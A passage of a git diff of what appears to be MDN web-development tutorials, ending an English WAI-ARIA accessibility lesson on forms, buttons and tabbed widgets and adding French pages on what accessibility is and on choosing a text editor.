First of all, let's revisit the form example we first looked at in our CSS and JavaScript accessibility article (read Keeping it unobtrusive for a full recap). At the end of this section we showed that we have included some ARIA attributes on the error message box that appears when there are validation errors when you try to submit the form:

+ +
<div class="errors" role="alert" aria-relevant="all">
+  <ul>
+  </ul>
+</div>
+ +
    +
  • role="alert" automatically turns the element it is applied to into a live region, so changes to it are read out; it also semantically identifies it as an alert message (important time/context sensitive information), and represents a better, more accessible way of delivering an alert to a user (modal dialogs like alert() calls have a number of accessibility problems; see Popup Windows by WebAIM).
    • +
  • An aria-relevant value of all instructs the screenreader to read out the contents of the error list when any changes are made to it — i.e. when errors are added or removed. This is useful because the user will want to know what errors are left, not just what has been added or removed from the list.
    • +
+ +

We could go further with our ARIA usage, and provide some more validation help. How about indicating whether fields are required in the first place, and what range the age should be?

+ +
    +
  1. At this point, take a copy of our form-validation.html and validation.js files, and save them in a local directory.
    2. +
  2. Open them both in a text editor and have a look at how the code works.
    3. +
  3. First of all, add a paragraph just above the opening <form> tag, like the one below, and mark both the form <label>s with an asterisk. This is normally how we mark required fields for sighted users. + 
    <p>Fields marked with an asterisk (*) are required.</p>
    +
    4. +
  4. This makes visual sense, but it isn't as easy to understand for screenreader users. Fortunately, WAI-ARIA provides the aria-required attribute to give screenreaders hints that they should tell users that form inputs need to be filled in. Update the <input> elements like so: + 
    <input type="text" name="name" id="name" aria-required="true">
+
+<input type="number" name="age" id="age" aria-required="true">
    +
    5. +
  5. If you save the example now and test it with a screenreader, you should hear something like "Enter your name star, required, edit text".
    6. +
  6. It might also be useful if we give screenreader users and sighted users an idea of what the age value should be. This is often presented as a tooltip, or placeholder inside the form field perhaps. WAI-ARIA does include aria-valuemin and aria-valuemax properties to specify min and max values, but these currently don't seem very well supported; a better supported feature is the HTML5 placeholder attribute, which can contain a message that is shown in the input when no value is entered, and is read out by a number of screenreaders. Update your number input like this: + 
    <input type="number" name="age" id="age" placeholder="Enter 1 to 150" aria-required="true">
    +
    7. +
+ +
+

Note: You can see the finished example live at form-validation-updated.html.

+
+ +

WAI-ARIA also enables some advanced form labelling techniques, beyond the classic {{htmlelement("label")}} element. We already talked about using the aria-label property to provide a label where we don't want the label to be visible to sighted users (see the {{anch("Signposts/Landmarks")}} section, above). There are some other labelling techniques that use other properties such as aria-labelledby if you want to designate a non-<label> element as a label or label multiple form inputs with the same label, and aria-describedby, if you want to associate other information with a form input and have it read out as well. See WebAIM's Advanced Form Labeling article for more details.

+ +

There are many other useful properties and states too, for indicating the status of form elements. For example, aria-disabled="true" can be used to indicate that a form field is disabled. Many browsers will just skip past disabled form fields, and they won't even be read out by screenreaders, but in some cases they will be perceived, so it is a good idea to include this attribute to let the screenreader know that a disabled input is in fact disabled.

+ +

If the disabled state of an input is likely to change, then it is also a good idea to indicate when it happens, and what the result is. For example, in our form-validation-checkbox-disabled.html demo there is a checkbox that when checked, enables another form input to allow further information be entered. We've set up a hidden live region:

+ +
<p class="hidden-alert" aria-live="assertive"></p>
+ +

which is hidden from view using absolute positioning. When this is checked/unchecked, we update the text inside the hidden live region to tell screenreader users what the result of checking this checkbox is, as well as updating the aria-disabled state, and some visual indicators too:

+ +
function toggleMusician(bool) {
+  var instruItem = formItems[formItems.length-1];
+  if(bool) {
+    instruItem.input.disabled = false;
+    instruItem.label.style.color = '#000';
+    instruItem.input.setAttribute('aria-disabled', 'false');
+    hiddenAlert.textContent = 'Instruments played field now enabled; use it to tell us what you play.';
+  } else {
+    instruItem.input.disabled = true;
+    instruItem.label.style.color = '#999';
+    instruItem.input.setAttribute('aria-disabled', 'true');
+    instruItem.input.removeAttribute('aria-label');
+    hiddenAlert.textContent = 'Instruments played field now disabled.';
+  }
+}
+ +

Describing non-semantic buttons as buttons

+ +

A few times in this course already, we've mentioned the native accessibilty of (and the accessibility issues behind using other elements to fake) buttons, links, or form elements (see UI controls in the HTML accessibility article, and {{anch("Enhancing keyboard accessibility")}}, above). Basically, you can add keyboard accessibility back in without too much trouble in many cases, using tabindex and a bit of JavaScript.

+ +

But what about screenreaders? They still won't see the elements as buttons. If we test our fake-div-buttons.html example in a screenreader, our fake buttons will be reported using phrases like "Click me!, group", which is obviously confusing.

+ +

We can fix this using a WAI-ARIA role. Make a local copy of fake-div-buttons.html, and add role="button" to each button <div>, for example:

+ +
<div data-message="This is from the first button" tabindex="0" role="button">Click me!</div>
+ +

Now when you try this using a screenreader, you'll have buttons be reported using phrases like "Click me!, button" — much better.

+ +
+

Note: Don't forget however that using the correct semantic element where possible is always better. If you want to create a button, and can use a {{htmlelement("button")}} element, you should use a {{htmlelement("button")}} element!

+
+ +

Guiding users through complex widgets

+ +

There are a whole host of other roles that can identify non-semantic element structures as common UI features that go beyond what's available in standard HTML, for example combobox, slider, tabpanel, tree. You can see a number of userful examples in the Deque university code library, to give you an idea of how such controls can be made accessible.

+ +

Let's go through an example of our own. We'll return to our simple absolutely-positioned tabbed interface (see Hiding things in our CSS and JavaScript accessibility article), which you can find at Tabbed info box example (see source code).

+ +

This example as-is works fine in terms of keyboard accessibility — you can happily tab between the different tabs and select them to show the tab contents. It is also fairly accessible too — you can scroll through the content and use the headings to navigate , even if you can't see what is happening on screen. It is however not that obvious what the content is — a screenreader currently reports the content as a list of links, and some content with three headings. It doesn't give you any idea of what the relationship is between the content. Giving the user more clues as to the structure of the content is always good.

+ +

To improve things, we've created a new version of the example called aria-tabbed-info-box.html (see it running live). We've updated the structure of the tabbed interface like so:

+ +
<ul role="tablist">
+  <li class="active" role="tab" aria-selected="true" aria-setsize="3" aria-posinset="1" tabindex="0">Tab 1</li>
+  <li role="tab" aria-selected="false" aria-setsize="3" aria-posinset="2" tabindex="0">Tab 2</li>
+  <li role="tab" aria-selected="false" aria-setsize="3" aria-posinset="3" tabindex="0">Tab 3</li>
+</ul>
+<div class="panels">
+  <article class="active-panel" role="tabpanel" aria-hidden="false">
+    ...
+  </article>
+  <article role="tabpanel" aria-hidden="true">
+    ...
+  </article>
+  <article role="tabpanel" aria-hidden="true">
+    ...
+  </article>
+</div>
+ +
+

Note: The most striking change here is that we've removed the links that were originally present in the example, and just used the list items as the tabs — this was done because it makes things less confusing for screenreader users (the links don't really take you anywhere; they just change the view), and it allows the setsize/position in set features to work better — when these were put on the links, the browser kept reporting "1 of 1" all the time, not "1 of 3", "2 of 3", etc.

+
+ +

The new features are as follows:

+ +
    +
  • New roles — tablist, tab, tabpanel — these identify the important areas of the tabbed interface — the container for the tabs, the tabs themselves, and the corresponding tabpanels.
    • +
  • aria-selected — Defines which tab is currently selected. As different tabs are selected by the user, the value of this attribute on the different tabs is updated via JavaScript.
    • +
  • aria-hidden — Hides an element from being read out by a screenreader. As different tabs are selected by the user, the value of this attribute on the different tabs is updated via JavaScript.
    • +
  • tabindex="0" — As we've removed the links, we need to give the list items this attribute to provide it with keyboard focus.
    • +
  • aria-setsize — This property allows you to specify to screenreaders that an element is part of a series, and how many items the series has.
    • +
  • aria-posinset — This property allows you to specify what position in a series an element is in. Along with aria-setsize, it provides a screenreader with enough information to tell you that you are currently on item "1 of 3", etc. In many cases, browsers should be able to infer this information from the element hierarchy, but it certainly helps to provide more clues.
    • +
+ +

In our tests, this new structure did serve to improve things overall. The tabs are now recognised as tabs (e.g. "tab" is spoken by the screenreader), the selected tab is indicated by "selected" being read out with the tab name, and the screenreader also tells you which tab number you are currently on. In addition, because of the aria-hidden settings (only the non-hidden tab ever has aria-hidden="false" set), the non-hidden content is the only one you can navigate down to, meaning the selected content is easier to find.

+ +
+

Note: If there is anything you explicitly don't want screen readers to read out, you can give them the aria-hidden="true"  attribute.

+
+ +

Summary

+ +

This article has by no means covered all that's available in WAI-ARIA, but it should have given you enough information to understand how to use it, and know some of the most common patterns you will encounter that require it.

+ +

See also

+ + + +

{{PreviousMenuNext("Learn/Accessibility/CSS_and_JavaScript","Learn/Accessibility/Multimedia", "Learn/Accessibility")}}

+ +

In this module

+ + diff --git a/files/fr/learn/accessibility/what_is_accessibility/index.html b/files/fr/learn/accessibility/what_is_accessibility/index.html new file mode 100644 index 0000000000..047e2763a1 --- /dev/null +++ b/files/fr/learn/accessibility/what_is_accessibility/index.html @@ -0,0 +1,198 @@ +--- +title: Qu'est ce que l'accessibilité? +slug: Apprendre/a11y/What_is_accessibility +tags: + - Accessibilité + - Aide technique + - Apprendre + - Article + - CSS + - Clavier + - Débutant + - HTML + - JavaScript + - Lecteur d'écran + - Outils + - Utilisateurs +translation_of: Learn/Accessibility/What_is_accessibility +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}
+ +

Cet article présente un module général sur ce que l'accessibilité est actuellement — Cela comprend les groupes de personnes que l'on a besoin de considérer et pourquoi, quels outils ils utilisent afin d'intéragir avec les pages web et comment rendre accessible la partie de notre espace de travail web.

+ + + + + + + + + + + + +
Prérequis:Compétences de base en informatique, une compréhension basique de l'HTML et du CSS.
Objectif:Se familiariser avec l'accessibilité en découvrant ce que c'est et en quoi cela vous affecte en tant que développeur.
+ +

Qu'est-ce donc que l'accessibilité?

+ +

L'accessibilité est la mise à disposition de vos sites web au plus grand nombre. On pense souvent que cela s'adresse aux personnes ayant un handicap, mais cela concerne également d'autres groupes comme ceux utilisant des appareils mobiles ou ceux qui ont des connexions internet de faible débit.

+ +

On peut aussi dire que l'accessibilité c'est traiter tout le monde de la même manière, et donner les mêmes opportunités à tous, peu importe leur handicaps ou les circonstances. De la même manière qu'il est injuste d'empêcher une personne d'accéder à un bâtiment parce qu'elle est en fauteuil roulant (les lieux publics sont souvent équipés de rampes d'accès ou d'ascenseur de nos jours), il est également injuste d'empêcher une personne d'accéder à un site web parce qu'elle a des troubles de la vue, ou qu'elle utilise un téléphone portable. Nous sommes tous différents, mais nous sommes aussi tous humains, ce qui nous donne les mêmes droits.

+ +

Rendre son site accessible est la bonne chose à faire, mais c'est aussi demandé par la loi de certains pays, et cela peut vous ouvrir des marchés conséquents pour qui vos services et vos produits ne seraient sinon pas accessibles.

+ +

L'accessibilité et les bonnes pratiques qu'elle implique peuvent bénéficier à tous :

+ +
    +
  • Le HTML sémantique (qui rend votre site plus accessible) rend également votre site plus optimisé pour les moteurs de recherche, ce qui améliore le référencement de votre site.
    • +
  • Se préoccuper de l'accessibilité c'est faire preuve d'éthique et de morale, ce qui améliore votre image publique.
    • +
  • Des bonnes pratiques améliorent l'accessibilité rendent également votre site plus facilement utilisable par différents groupes comme les utilisateurs de téléphones portables, les personnes ayant un faible débit, etc. En fait, tout le monde peut tirer un bénéfice de ces améliorations.
    • +
  • A-t-on mentionné que c'est la loi dans certaines régions ?
    • +
+ +

Quel genre de handicap devons nous envisager ?

+ +

Les personnes ayant un handicap sont aussi variées que les personnes sans handicap, tout comme leurs handicaps. L'important ici est de ne pas penser seulement à votre propre ordinateur et à comment vous utilisez le web, mais de commencer à apprendre comment les autres l'utilisent — vous n'êtes pas vos utilisateurs. Les principaux types de handicap à considérer sont expliqués ci-dessous, avec les outils spéciaux que chacun utilise pour accéder aux contenus du web (connus sous le nom de technologies d'assistance).

+ +
+

Note : L'aide-mémoire Handicap et santé de l'Organisation Mondiale de la Santé indique que « Plus d’un milliard de personnes, c’est-à-dire environ 15% de la population mondiale, présentent une forme ou une autre de handicap » , et que « Entre 110 et 190 millions de personnes adultes ont des difficultés importantes sur le plan fonctionnel. »

+
+ +

Les personnes ayant des troubles de la vue

+ +

Cette catégorie comprend les personnes aveugles, malvoyantes, daltoniennes, etc. Beaucoup d'entre eux utilisent des agrandisseurs d'écran (soit de vraies loupes, soit la fonction loupe implémentée dans la plupart des systèmes d'exploitation et navigateurs), et certains utilisent des lecteurs d'écran qui lisent le texte à voix haute:

+ +
    +
  • Certains, comme JAWS (Windows) et Window Eyes (Windows), sont payants.
    • +
  • D'autres, comme NVDA (Windows), ChromeVox (Chrome, Windows et Mac OS X), et Orca (Linux) sont gratuits.
    • +
  • Certains sont intégrés au système d'exploitation, comme VoiceOver (Mac OS X et iOS), Narrator (Microsoft Windows), ChromeVox (sur Chrome OS), et TalkBack (Android).
    • +
+ +

Il est conseillé de se familiariser avec les lecteurs d'écran ; vous devriez installer un lecteur d'écran et expérimenter avec pour comprendre comment il marche. Lisez notre Guide pour tester les lecteurs d'écrans sur différents navigateurs (en) pour avoir plus d'information sur leur utilisation. La vidéo ci-dessous (en anglais) vous donne un bref aperçu de l'experience.

+ +

{{EmbedYouTube("IK97XMibEws")}}

+ +

Pour ce qui est des statistiques, l'Organisation mondiale de la santé estime que «253 millions de personnes présentent une déficience visuelle : 36 millions d’entre elles sont aveugles et 217 millions présentent une déficience visuelle modérée à sévère. » (Voir Cécité et déficience visuelle). Cela représente une part conséquente des utilisateurs que vous perdriez parce que votre site est mal codé — presque autant que la population des États-Unis.

+ +

Les personnes ayant des troubles de l'audition

+ +

Aussi connues comme les personnes malentendantes ou sourdes, ce groupe correspond aux personnes qui ont perdu, partiellement ou totalement, la perception des sons. Les sourds et malentendants utilisent des technologies d'assistance (voir Aides techniques pour les personnes ayant des troubles de l'audition, de la voix, de la parole ou du langage (en) ), mais il n'existe pas de technologies spécifiques pour l'utilisation du Web et des ordinateurs.

+ +

Il existe cependant des techniques auxquelles il faut penser pour proposer des alternatives aux fichiers audios : de la simple transcription textuelle aux sous-titres qui peuvent être affichés en même temps que la vidéo. Un article décrira plus tard ces méthodes.

+ +

Les sourds et malentendants représentent également une part significative des utilisateurs — «360 millions de personnes dans le monde souffrent de déficience auditive incapacitante», indique l'aide-mémoire Surdité et déficience auditive de l'Organisation Mondiale de la Santé.

+ +

Les personnes ayant des troubles de la mobilité

+ +

Ces personnes ont un handicap ayant rapport au mouvement, qui peuvent comprendre des problèmes purement physique (comme la perte d'un membre ou la paralysie), ou des troubles psychologiques ou génétiques qui mènent à des faiblesse voire à une perte du contrôle des membres. Certains ont des difficultés à exécuter les mouvements précis de la main nécessaires à l'utilisation d'une souris, tandis que d'autres peuvent être plus sérieusement atteints, voire même être paralysés au point d'avoir à utiliser un pointeur frontal pour utiliser un ordinateur.

+ +

Ce genre de handicap peut aussi venir avec l'âge, et non d'un accident ou d'une pathologie particulière, ou encore être la conséquence de limitations matérielles — certains utilisateurs peuvent ne pas avoir de souris.

+ +

En général, cela se traduit au niveau du développement web par la nécessité de rendre les contrôles accessible au clavier — nous discuterons de l'accessibilité au clavier plus tard dans d'autres articles du module, mais cela peut être une bonne idée d'essayer de naviguer sur certains sites en utilisant seulement le clavier. Par exemple, pouvez vous naviguer entre les différents champs d'un formulaire juste avec la touche Tab ? Vous trouverez plus de détails à propos de l'utilisation du clavier dans la section Test d'accessibilité avec le clavier intégré entre différents navigateurs(en).

+ +

De nombreuses personnes souffrent de troubles de la mobilité. Par exemple, en France, 4% des personnes vivant en ménage ordinaire déclarent avoir des difficultés à se servir des mains et doigts, d'après la vue d'ensemble L'approche du handicap par les limitations fonctionnelles et la restriction globale d'activité chez les adultes de 20 à 59 ans de l'INSEE.

+ +

Personnes ayant des déficiences cognitives

+ +

La dernière catégorie d'incapacités est probablement la plus large. Les déficiences cognitives désignent généralement des incapacités allant des maladies mentales aux difficultés d'apprentissage, aux difficultés de compréhension et de concentration telles que  TDAH-trouble d'hyperactivité avec déficit de l'attention, TSA-trouble du spectre de l’autisme,  aux personnes atteintes de schizophrénie, et à de nombreux autres types de désordres, qui peuvent affecter de nombreux aspects de la vie quotidienne en raison de problèmes de mémoire, de résolution de problèmes, de compréhension, d'attention, etc. 

+ +

Le plus souvent, ces incapacités peuvent affecter l'utilisation du site web : difficulté à comprendre comment effectuer une tâche, à se rappeler comment effectuer une tâche déjà accomplie ou à une frustration accrue en cas de confusion dans les flux de travail ou d'incohérences dans la présentation / navigation / autre page.

+ +

Contrairement à d’autres problèmes d’accessibilité web, il est impossible de prescrire des solutions rapides à de nombreux problèmes d’accessibilité web résultant de déficiences cognitives ; la meilleure chance que vous ayez est de concevoir vos sites web de manière à être aussi logiques, cohérents et utilisables que possible. Par exemple, assurez-vous que :

+ +
    +
  • les pages sont cohérentes — la navigation, l'en-tête, le pied de page et le contenu principal se trouvent toujours aux mêmes endroits.
    • +
  • les outils sont bien conçus et faciles à utiliser.
    • +
  • Les processus en plusieurs étapes sont divisés en étapes logiques, avec des rappels réguliers de l'état d'avancement du processus et du temps qu'il vous reste pour terminer le processus, le cas échéant.
    • +
  • Les workflows sont logiques, simples et nécessitent le moins d’interactions possible. Par exemple, l'inscription et la connexion à un site web sont souvent complexes.
    • +
  • les pages ne sont ni trop longues ni trop denses en termes de quantité d'informations présentées à la fois.
    • +
  • le langage utilisé dans vos pages est aussi simple et clair que possible, et ne contient pas un jargon et un argot inutiles.
    • +
  • les points importants et le contenu sont mis en évidence.
    • +
  • les erreurs des utilisateurs sont clairement mises en évidence, avec des messages d'aide suggérant des solutions.
    • +
+ +

Ce ne sont pas des "techniques d'accessibilité" en tant que telles, ce sont de bonnes pratiques de conception. Elles profiteront à tous ceux qui utilisent vos sites et devraient faire partie intégrante de votre travail.

+ +

En termes de statistiques, encore une fois, les chiffres sont importants. Le  rapport 2014 sur le statut d'invalidité (PDF, 511KB) de l'Université de Cornell indique qu'en 2014, 4,5% des Américains âgés de 21 à 64 ans présentaient une forme de déficience cognitive .

+ +
+

Note :  La page cognitives de apprendreaeduquer fournit une extension utile de ces idées et mérite certainement d'être lue. 

+
+ +

Implémentation de l'accessibilité dans votre projet

+ +

Un mythe commun en matière d'accessibilité est que l'accessibilité est un "supplément" coûteux à mettre en œuvre sur un projet. Ce mythe peut en réalité être vrai si :

+ +
    +
  • Vous essayez de "moderniser" l'accessibilité sur un site Web existant qui présente d'importants problèmes d'accessibilité.
    • +
  • Vous avez seulement commencé à prendre en compte l'accessibilité et à découvrir des problèmes liés aux dernières étapes d'un projet.
    • +
+ +

Cependant, si vous envisagez l'accessibilité dès le début d'un projet, le coût de la plupart des contenus accessibles devrait être assez minime.

+ +

Lors de la planification de votre projet, tenez compte des tests d'accessibilité dans votre programme de tests, comme pour tout autre segment d'audience cible important (par exemple, les navigateurs de bureau ou mobiles cibles). Testez tôt et souvent, en exécutant idéalement des tests automatisés pour détecter les fonctionnalités manquantes détectables par programme (telles que les images manquantes  alternative text  ou le texte du lien incorrect — voir Element relationships and context), et en effectuant des tests avec des groupes d'utilisateurs désactivés pour voir comment. des fonctionnalités de site plus complexes fonctionnent pour eux, par exemple:

+ +
    +
  • Mon widget de sélecteur de date est-il utilisable par les personnes utilisant des lecteurs d'écran ?
    • +
  • Si le contenu est mis à jour de manière dynamique, les personnes malvoyantes le savent-elles ?
    • +
  • Les boutons de mon UI sont-ils accessibles via le clavier et les interfaces tactiles ?
    • +
+ +

Vous pouvez et devez garder une note sur les problèmes potentiels de votre contenu qui devront être redessinés pour le rendre accessible, assurez-vous qu'il a été testé minutieusement et réfléchissez aux solutions / alternatives. Le contenu textuel (comme vous le verrez dans le prochain article) est simple, mais qu'en est-il de votre contenu multimédia et de vos graphismes 3D fantastiques ? Vous devriez examiner le budget de votre projet et réfléchir de manière réaliste aux solutions disponibles pour rendre ce contenu accessible ? Vous pourriez avoir à payer pour que tout votre contenu multimédia soit transcrit, ce qui peut être coûteux, mais réalisable.

+ +

Aussi, soyez réaliste. "100% d'accessibilité" est un idéal impossible à obtenir — vous rencontrerez toujours un type de problème qui oblige un utilisateur à trouver certains contenus difficiles à utiliser — mais vous devez en faire autant que vous le pouvez. Si vous envisagez d'inclure un graphique à secteurs 3D ultra-graphique créé à l'aide de WebGL, vous pouvez inclure un tableau de données en tant que représentation alternative accessible des données. Vous pouvez également simplement inclure la table et supprimer le graphique à secteurs 3D : la table est accessible à tous, plus rapide à coder, moins gourmande en temps processeur et plus facile à gérer. 

+ +

D'autre part, si vous travaillez sur un site web de galerie présentant des œuvres d'art 3D intéressantes, il serait déraisonnable de s'attendre à ce que chaque œuvre d'art soit parfaitement accessible aux personnes malvoyantes, étant donné qu'il s'agit d'un support entièrement visuel.

+ +

Pour montrer que vous vous souciez de l'accessibilité et que vous en avez pensé, publiez sur votre site une déclaration d'accessibilité détaillant votre politique en matière d'accessibilité et les mesures que vous avez prises pour rendre le site accessible. Si quelqu'un se plaint de ce que votre site a un problème d'accessibilité, commencez un dialogue avec elle, faites preuve d'empathie et prenez les mesures qui s'imposent pour tenter de résoudre le problème.

+ +
+

Note :  Notre article  Gérer les problèmes courants d'accessibilité couvre les spécificités d'accessibilité qui doivent être testées plus en détail.

+
+ +

Résumer :

+ +
    +
  • Pensez à l'accessibilité dès le début d'un projet et testez tôt et souvent. Comme tout autre bogue, un problème d'accessibilité devient d'autant plus coûteux à résoudre qu'il est découvert tard.
    • +
  • N'oubliez pas que de nombreuses pratiques optimales en matière d'accessibilité profitent à tout le monde, pas uniquement aux utilisateurs handicapés. Par exemple, le balisage sémantique lean n’est pas seulement bon pour les lecteurs d’écran, il est également rapide à charger et performant, donc meilleur pour tout le monde, en particulier pour les appareils mobiles et/ou les connexions lentes.
    • +
  • Publier une déclaration d'accessibilité sur votre site et interagir avec les personnes ayant des problèmes.
    • +
+ +

Directives d'accessibilité et loi

+ +

Il existe de nombreuses listes de contrôle et ensembles de directives disponibles sur lesquels baser les tests d'accessibilité, ce qui peut sembler fastidieux à première vue. Notre conseil est de vous familiariser avec les domaines fondamentaux dans lesquels vous devez prendre soin, ainsi que de comprendre les structures de haut niveau des directives qui vous sont le plus utiles.

+ +
    +
  • Pour commencer, le W3C a publié un document volumineux et très détaillé qui inclut des critères très précis, indépendants de la technologie, pour la conformité de l'accessibilité. Celles-ci s'appellent le Web Content Accessibility Guidelines (WCAG),  et ne constituent en aucun cas une lecture brève. Les critères sont divisés en quatre catégories principales, qui spécifient comment les implémentations peuvent être rendues perceptibles, exploitables, compréhensibles et robustes. Le meilleur endroit pour commencer à apprendre et  WCAG at a Glance. Il n'est pas nécessaire d'apprendre le WCAG par cœur — soyez conscient des principaux problèmes et utilisez une variété de techniques et d'outils pour mettre en évidence les domaines qui ne sont pas conformes aux critères du WCAG (voir ci-dessous pour plus d'informations). 
    • +
  • Votre pays peut également avoir une législation spécifique régissant la nécessité d’accéder aux sites web desservant leur population — par exemple  Section 508 of the Rehabilitation Act en US, Federal Ordinance on Barrier-Free Information Technology en Germany, la lois sur Equality Act Royaume-Uni, Accessibilità en Italy, le Disability Discrimination Act en Australia, etc.
    • +
+ +

Ainsi, alors que le WCAG est un ensemble de directives, votre pays aura probablement des lois régissant l’accessibilité du Web, ou du moins l’accessibilité des services accessibles au public (sites web, télévision, espaces physiques, etc.). C’est une bonne idée. pour savoir quelles sont vos lois. Si vous ne faites aucun effort pour vérifier que votre contenu est accessible, vous pourriez éventuellement avoir des ennuis avec la loi si les personnes handicapées s'en plaignent.

+ +

Cela semble sérieux, mais vous devez vraiment considérer l'accessibilité comme une priorité principale de vos pratiques de développement web, comme indiqué ci-dessus. En cas de doute, demandez conseil à un avocat qualifié. Nous n'allons pas donner plus de conseils que cela, car nous ne sommes pas des avocats.

+ +

API d'accessibilité

+ +

Les navigateurs web utilisent des API d’accessibilité spéciales (fournies par le système d’exploitation sous-jacent) qui présentent des informations utiles pour les technologies d’aide (TA) — les TA ont généralement tendance à utiliser des informations sémantiques. Ces informations ne comprennent donc pas les informations de style, ou JavaScript. Ces informations sont structurées dans une arborescence d'informations appelée arborescence d'accessibilité.

+ +

Différents systèmes d'exploitation ont différentes API d'accessibilité disponibles :

+ +
    +
  • Windows: MSAA/IAccessible, UIAExpress, IAccessible2
    • +
  • Mac OS X: NSAccessibility
    • +
  • Linux: AT-SPI
    • +
  • Android: Accessibility framework
    • +
  • iOS: UIAccessibility
    • +
+ +

Lorsque les informations sémantiques natives fournies par les éléments HTML dans vos applications Web tombent, vous pouvez les compléter avec des fonctionnalités de la  WAI-ARIA specification,  qui ajoutent des informations sémantiques à l’arbre d’accessibilité pour améliorer l’accessibilité. Vous pouvez en apprendre beaucoup plus sur WAI-ARIA dans notre article sur les bases de WAI-ARIA basics.

+ +
+

Résumé

+
+ +

Cet article aurait dû vous donner une vue d'ensemble utile de haut niveau de l'accessibilité, vous expliquer pourquoi c'est important et voir comment vous pouvez l'intégrer à votre flux de travail. Vous devriez maintenant aussi avoir soif d'apprendre les détails de la mise en œuvre susceptibles de rendre des sites accessibles. Nous commencerons dans cette question dans la section suivante, en nous demandant pourquoi le HTML constitue une bonne base d'accessibilité.

+ +

{{NextMenu("Learn/Accessibility/HTML", "Learn/Accessibility")}}

diff --git a/files/fr/learn/common_questions/available_text_editors/index.html b/files/fr/learn/common_questions/available_text_editors/index.html new file mode 100644 index 0000000000..d2dd87360c --- /dev/null +++ b/files/fr/learn/common_questions/available_text_editors/index.html @@ -0,0 +1,292 @@ +--- +title: 'Choisir, installer et paramétrer un éditeur de texte' +slug: Apprendre/Choisir_installer_paramétrer_un_éditeur_de_texte +tags: + - Beginner + - Composing + - Guide + - NeedsActiveLearning + - Tools +translation_of: Learn/Common_questions/Available_text_editors +--- +
{{IncludeSubnav("/fr/Apprendre")}}
+
+

Dans cet article, nous présentons les éléments principaux à connaître pour installer un éditeur de texte utilisé pour du développement web.

+
+ + + + + + + + + + + + +
Prérequis :Vous devriez déjà connaître les différents logiciels nécessaires pour construire un site web.
Objectif :Apprendre comment choisir un éditeur de texte qui répondra à vos besoins en tant que développeur web.
+ +

Un site web est, pour une grande partie, composé de fichiers texte. Pour cette raison, afin de développer dans les meilleures conditions, vous devriez choisir votre éditeur de texte soigneusement.

+ +

La quantité d'éditeurs de texte existants peut être un peu écrasante. Il en existe beaucoup car c'est un outil de base en informatique (et oui, le développement web est un des domaines de l'informatique). En général, vous pouvez utiliser autant d'éditeurs de texte que vous voulez pour voir lequel vous convient le mieux en termes d'ergonomie et de méthode de travail. Pour vous aider, voici quelques pistes.

+ +

Voici quelques questions qui peuvent vous aider à choisir :

+ +
    +
  • Quel système d'exploitation (OS) utilisez-vous pour travailler ?
    • +
  • Quelles technologies souhaitez-vous manipuler ?
    • +
  • Quelles types de fonctionnalités de bases attendez-vous de la part d'un éditeur de texte ?
    • +
  • Souhaitez-vous ajoutez des fonctionnalités supplémentaires à votre éditeur de texte ?
    • +
  • Souhaitez-vous bénéficier d'aide ou d'un support pour votre éditeur de texte ?
    • +
  • Est-ce que le style et l'apparence du logiciel sont importants pour vous ?
    • +
+ +

Nous n'avons pas évoqué le prix. Bien entendu, cela a également son importance. Cependant, il faut garder à l'esprit qu'il n'y a pas nécessairement de lien entre le coût d'un outil et la richesse de ses fonctionnalités. Un éditeur de texte étant un outil de base pour le développement, il est très probable que vous trouviez un éditeur de texte gratuit qui réponde tout à fait à vos besoins.

+ +
+

Note : Le développement web est un domaine principalement anglophone, vous trouverez de nombreuses documentations également en français mais soyez conscient-es que la plupart des informations autour de certains logiciels seront en anglais sur le Web.

+
+ +

Voici un tableau de quelques éditeurs de texte connus :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ÉditeurLicencePrixSystème d'exploitationSupportDocumentationExtensible
AtomMIT/BSDGratuitWindows, Mac, LinuxForumManuel en ligneOui
BracketsMIT/BSDGratuitWindows, Mac, LinuxForum, IRCWiki GitHubOui
CodaPropriétaire99 $MacTwitter, Forum, e-maileBookOui
EmacsGPL 3GratuitWindows, Mac, LinuxFAQ, liste de diffusion (anglophone), News GroupManuel en ligne / Tutoriel en français depuis l'éditeur / pages sur Ubuntu-frOui
EspressoPropriétaire75 $MacFAQ, e-mailPas de documentation utilisateur mais il existe une documentation pour les extensions (plug-ins)Oui
GeditGPLGratuitWindows, Mac, LinuxListe de diffusion (anglophone), IRCManuel en ligne (en français) / Introduction sur Ubuntu-frOui
Komodo EditMPLGratuitWindows, Mac, LinuxForumManuel en ligneOui
Notepad++GPL modifiéeGratuitWindowsForumWikiOui
PSPadPropriétaireGratuitWindowsFAQ, ForumAide en ligneYes
Sublime TextPropriétaire$70Windows, Mac, LinuxForumDocumentation officielle, documentation officieuseOui
TextMatePropriétaire$50MacTwitter, IRC, liste de diffusion (anglophone), E-mailManuel en ligne, WikiOui
TextWranglerPropriétaireGratuitMacFAQ, ForumManuel PDFNon
VimLicence ouverte spécifiqueGratuitWindows, Mac, LinuxListe de diffusion (anglophone), tuppervim (communauté francophone)Manuel en ligne, tutoriel en français disponible depuis l'éditeur, introduction sur Ubuntu-fr (en français)Oui
+ +

Pédagogie active

+ +

Il n'y a, pour le moment, pas de matériau pour la pédagogie active. Cependant, vous pouvez contribuer.

+ +

Aller plus loin

+ +

Critères de choix

+ +

Rentrons dans les détails, à quoi faut-il penser lorsqu'on choisit un éditeur de texte ?

+ +

Quel est le système d'exploitation que j'utiliser pour travailler ?

+ +

Bien entendu, vous êtes entièrement libre de choisir le système d'exploitation que vous utilisez. Cependant, certains éditeurs ne sont disponibles que pour certains systèmes d'exploitation. Aussi, si vous souhaitez passer facilement d'un système d'exploitation à un autre, cela réduit le choix. N'importe quel éditeur de texte permettra de faire ce qui est nécessaire s'il fonctionne sur votre système, malgré cela, un éditeur multi-plateforme facilitera le passage d'un système d'exploitation à un autre.

+ +

